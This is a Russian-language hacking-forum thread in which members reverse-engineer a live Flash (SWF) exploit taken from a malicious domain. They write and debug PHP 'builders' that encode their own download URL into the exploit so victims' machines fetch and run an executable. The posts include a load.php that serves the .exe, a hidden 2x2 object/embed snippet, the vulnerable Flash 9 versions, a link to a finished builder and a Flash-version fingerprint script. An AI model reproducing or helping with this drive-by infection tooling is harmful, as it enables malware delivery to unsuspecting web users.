• XSS.stack #1 – первый литературный журнал от юзеров форума

Билдер для swf-сплойта

tomash

HDD-drive
Пользователь
Регистрация
09.10.2009
Сообщения
30
Реакции
0
Пошарился вот на malwaredomainlist
На глаза попался линк на hxxp://micro.deepfoto.eu/counter/i.php
Качнул в Малзилле

nVIQYuYS2T.jpg


На диске сохранился файл i.php

Скачать i.php

Открыл в браузере hxxp://micro.deepfoto.eu/counter/i.php
Сохранил как swf-файл

Скачать SWF

Засунул его в Sothink SWF Decompiler
Обратил внимание вот на эту хрень:

mVysSttxVb.jpg


Написал простенький кодер, основываясь на коде из свф

Код:
<?php
$url="http://";
$input=url2hex($url);
for ($i = 0; $i <= strlen($input); $i++) 
{
switch($input{$i})
{
case '0':$output.='C';break;
case '1':$output.='3';break;
case '2':$output.='D';break;
case '3':$output.='0';break;
case '4':$output.='2';break;
case '5':$output.='1';break;
case '6':$output.='6';break;
case '7':$output.='B';break;
case '8':$output.='4';break;
case '9':$output.='7';break;
case 'A':$output.='9';break;
case 'B':$output.='5';break;
case 'C':$output.='F';break;
case 'D':$output.='E';break;
case 'E':$output.='A';break;
case 'F':$output.='8';break;
default:
}
}
echo $output;
function url2hex($url)
{
$i=0;
for ($i; $i<strlen($url);$i++)
{
$s=Dechex(ord($url{$i}));
if (strlen($s)==1) {$buff=$buff."0{$s}";} else {$buff=$buff.$s;}
}
return strtoupper($buff);
}
?>

В результате получил

Код:
64B2B2BC09D8D8

Поискал и нашел эту строчку в коде i.php

Код:
64B2B2BC09D8D86E6760BD68DA626161BC6668B268DA61B1D86068B16AB261BDD8676E6BDABC64BC08BC636B610E02885B5CB731081ECA820D40

Декодировал и перевел в вид, пригодный для малзиллы

Код:
<?php
$input='64B2B2BC09D8D86E6760BD68DA626161BC6668B268DA61B1D86068B16AB261BDD8676E6BDABC64BC08BC636B610E02885B5CB731081ECA820D40';
$output='';
for ($i = 0; $i <= strlen($input); $i++) 
{
$a=$input{$i};
switch($a)
{
case '8':$output.='F';break;
case 'A':$output.='E';break;
case 'E':$output.='D';break;
case 'F':$output.='C';break;
case '5':$output.='B';break;
case '9':$output.='A';break;
case '7':$output.='9';break;
case '4':$output.='8';break;
case 'B':$output.='7';break;
case '6':$output.='6';break;
case '1':$output.='5';break;
case '2':$output.='4';break;
case '0':$output.='3';break;
case 'D':$output.='2';break;
case '3':$output.='1';break;
case 'C':$output.='0';break;
default:
}
}
echo $output."
";
$res='%';
for ($i = 0; $i <= strlen($output); $i++) 
{
$a=$output{$i};
if ($i%2 == 0)
{
//четное
$res=$res.$a;
}
else
{
$res=$res.$a.'%';	
}
}
echo substr($res,0,strrpos($res,'%'))."
";
?>

Получил такое вот

Код:
687474703A2F2F6D6963726F2E64656570666F746F2E65752F636F756E7465722F696D672E7068703F706167653D34FFB7B079153F5D0EF43283
%68%74%74%70%3A%2F%2F%6D%69%63%72%6F%2E%64%65%65%70%66%6F%74%6F%2E%65%75%2F%63%6F%75%6E%74%65%72%2F%69%6D%67%2E%70%68%70%3F%70%61%67%65%3D%34%FF%B7%B0%79%15%3F%5D%0E%F4%32%83

Опять в малзиллу и Decode HEX

FFV9T7aVUc.jpg


Перешел по найденной ссылке и получил в хлам закодированный файл, который можно скачать вот по этой ссылке

Собственно забилдить собственный свф можно, просто подменив найденную ссылку на свою, примерно вот таким макаром:

Код:
header("Content-Type: application/x-shockwave-flash\r\n\r\n");
$url="http://...."; // Длина ссылки=длине строки http://micro.deepfoto.eu/counter/img.php?page=4
function url2hex($url)
{
$i=0;
for ($i; $i<strlen($url);$i++)
{
$s=Dechex(ord($url{$i}));
if (strlen($s)==1) {$buff=$buff."0{$s}";} else {$buff=$buff.$s;}
}
return strtoupper($buff);
}
$input=url2hex($url);
for ($i = 0; $i <= strlen($input); $i++) 
{
switch($input{$i})
{
case '0':$output.='C';break;
case '1':$output.='3';break;
case '2':$output.='D';break;
case '3':$output.='0';break;
case '4':$output.='2';break;
case '5':$output.='1';break;
case '6':$output.='6';break;
case '7':$output.='B';break;
case '8':$output.='4';break;
case '9':$output.='7';break;
case 'A':$output.='9';break;
case 'B':$output.='5';break;
case 'C':$output.='F';break;
case 'D':$output.='E';break;
case 'E':$output.='A';break;
case 'F':$output.='8';break;
default:
}
}
$swf=base64_decode("...") // Здесь код из i.php
$flash=str_replace("687474703A2F2F6D6963726F2E64656570666F746F2E65752F636F756E7465722F696D672E7068703F706167653D34",$output,$swf);
echo $flash;

И вроде бы все ничего, но никак не всосу, какую линку подставлять- на обычный лоадпшп или на экзэ или чо, тк не пойму, как расшифровать этот самый конечный зашифрованный файл. Вроде бы лоадер выдал экзэ или как

Подскажите, плиззз..
 
Ты подставлял урл на свой ехе и эксп не срабатывал ?

Да вроде как в мозилле на 10-й флешке окно предупреждения вылетает
А 9-ю найти не могу нигде
и в тупике из-за этого
 
Пожалуйста, обратите внимание, что пользователь заблокирован
В твоем 2м кодесе ты заменяешь не зашифрованую строку своей зашифрованой. А расшифрованую тобой строку своей зашифрованой. Тоесть замена не происходит, потомучто строки 687474703A2F2F6D6963726F2E64656570666F746F2E65752F636F756E7465722F696D672E70... в i.php нету какбэ.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
И еще, этот эксп под 9е версии WIN 9,0,115,0WIN 9,0,16,0WIN 9,0,28,0WIN 9,0,45,0WIN 9,0,47,0WIN 9,0,64,0 что можно видеть в его сорце.
И еще, когда будешь подставлять свой урл на ехе, в конце него допиши
Код:
"?" при http://bla.com/exe.exe? или
"&" при урле вида http://bla.com/exe.php?id=3&
Чтобы отсечь бред который будет идти потом
(иначе вебсервер неправильно поймет и подумает что тот мусор часть имени и будет 404)
Ну а 9й флеш лежит на фтпшках разработчика.
http://kb2.adobe.com/cps/142/tn_14266.html
 
непонятно, как вызывается флеш, ведь ей можно передать параметры из внешнего JS и иметь свой обработчик на AS3+ декодер, помимо того, что указан на рисунке (я не смотрела )
Возможно, билдер не работает именно из-за этого
 
Так флеш главное сформировать
Ну а вызвать стандартно - как то так

Код:
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=4,0,19,0" height="2" width="2">
<param name="movie" value="http://.....swf">
<param name="quality" value="high">
<param name="background" value="#ffffff">
<embed wmode="opaque" background="#ffffff" src="http://.....swf" quality="high" pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" type="application/x-shockwave-flash" height="2" width="2"></embed>
</object>
 
Вобщем пока что нечем похвалиться
Билдер поправил

Код:
<?php
$url="http://localhost/flashexp/load.php?id=111111111";
$input=url2hex($url);
for ($i = 0; $i <= strlen($input); $i++)
{
switch($input{$i})
{
case '0':$output.='C';break;
case '1':$output.='3';break;
case '2':$output.='D';break;
case '3':$output.='0';break;
case '4':$output.='2';break;
case '5':$output.='1';break;
case '6':$output.='6';break;
case '7':$output.='B';break;
case '8':$output.='4';break;
case '9':$output.='7';break;
case 'A':$output.='9';break;
case 'B':$output.='5';break;
case 'C':$output.='F';break;
case 'D':$output.='E';break;
case 'E':$output.='A';break;
case 'F':$output.='8';break;
default:
}
}
$code="261B1...3B3CCCC";
$swfcode=str_replace("64B2B2BC09D8D86E6760BD68DA626161BC6668B268DA61B1D86068B16AB261BDD8676E6BDABC64BC08BC636B610E02",$output,$code);
$tr=fopen("swf.swf",'w');
fwrite($tr,$swfcode);
fclose($tr);
function url2hex($url)
{
$i=0;
for ($i; $i<strlen($url);$i++)
{
$s=Dechex(ord($url{$i}));
if (strlen($s)==1) {$buff=$buff."0{$s}";} else {$buff=$buff.$s;}
}
return strtoupper($buff);
}
?>

Вот содержимое load.php

Код:
<?
$file_data = @file_get_contents("hzchto.exe");
header("Accept-Ranges: bytes\r\n");
header("Content-Length: " . strlen($file_data) . "\r\n");
header("Content-Disposition: inline; filename='hzchto1.exe'");
header("\r\n");
header("Content-Type: application/octet-stream\r\n\r\n");
//echo $file_data; // Если расскомментировать, то выведется такая же хрень, как на исследуемом сайте
exit();
?>

Попробовал на локалке, куда поставил 9.0.115.0

Но ничо не качается, хз может руки кривые или сплоит поломанный
 
Пожалуйста, обратите внимание, что пользователь заблокирован
У меня все работает.
exe нужно грузить с того-же домена с которого вызывается эксплойт.
Версии флеша только 9. И браузер только ИЕ.
Прикрепляю то что написал на основе твоих кодесов. Ищи ошибки у себя.

http://www.filefactory.com/file/a0g66ga/n/billder_rar
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Дело в том что под ИЕ вызывается флеш активикс, а под другие браузеры флеш плагин. Баг есть и там и там.
Но в этом экспе только под активикс евилкодесы. Рекомендую дальше ковырять тот домен с другим юзерагентом.
 
на вс. случай-
скриптик определяет и печатает только версию флеш-плеера, с подверсией.
у tomash - объем больше, но и инфы тоже.
Код:
<script type="text/javascript">
function flash_version(){
   var d, n = navigator, m, f = 'Shockwave Flash';
   if((m = n.mimeTypes) && (m = m["application/x-shockwave-flash"]) && m.enabledPlugin && (n = n.plugins) && n[f]) {d = n[f].description}
   else if (window.ActiveXObject) { try { d = (new ActiveXObject((f+'.'+f).replace(/ /g,''))).GetVariable('$version');} catch (e) {}}
   return d ? d.replace(/\D+/,'').split(/\D+/) : [0,0];
};
document.write  (flash_version());
</script>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх